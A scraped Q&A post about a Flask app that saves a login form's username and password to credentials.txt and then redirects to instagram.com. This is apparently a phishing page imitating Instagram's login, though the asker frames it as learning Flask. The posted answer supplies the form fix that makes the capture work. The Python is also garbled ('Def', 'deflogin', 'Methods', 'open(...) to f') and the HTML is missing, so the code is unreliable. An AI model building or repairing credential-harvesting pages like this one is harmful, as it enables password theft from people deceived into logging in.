[FIXED] I'm trying to "teach" myself flask, how do I write the information submitted in the html form box to a local file?

Issue

The title basically describes it. I’m playing around with flask on localhost and was wondering how to write the credentials given in the html form to a txt file. Here is the flask app code and html:

from Flask import Flask, render_template, request, redirect

app = Flask(__name__, static_folder='static', template_folder='templates')


@app.route('/')
Def index():
    return render_template('index.html')


@app.route('/login', Methods=['POST'])
deflogin():
    username = request.form['username']
    password = request.form['password']
    print(f'username: {username}\npassword: {password}')
    open('credentials.txt', 'w') to f:
        f.write(f'username: {username}\npassword: {password}')
    Return redirect ("https://www.instagram.com/")


If __name__ == '__main__':
    app.run(debug=True)
 

The HTML is:


 


  
    

I don't really care about outputting to the console (I don't do that). I'm a newbie so I don't know how to integrate them. Any help would be greatly appreciated, thanks!!

Solution

Within your definition for the form, I think two attributes are missing.

In order for your form to be submitted to the login route, you should specify the URL in the action attribute. If this is not the case, the form data is sent to the same route that was used to display the form.
Furthermore, the form is sent via GET request unless something else is defined with the method attribute. So to avoid an error and send the data in the body instead of as a URL parameter, you should specify POST.

<form class="form" action="{{ url_for('login') }}" method="POST">
    <!-- ... -->
</form>

Answered By - Detlef

Answer Checked By - Marie Seifert (Easybugfix Admin)

Leave a Reply

(*) Required, Your email will not be published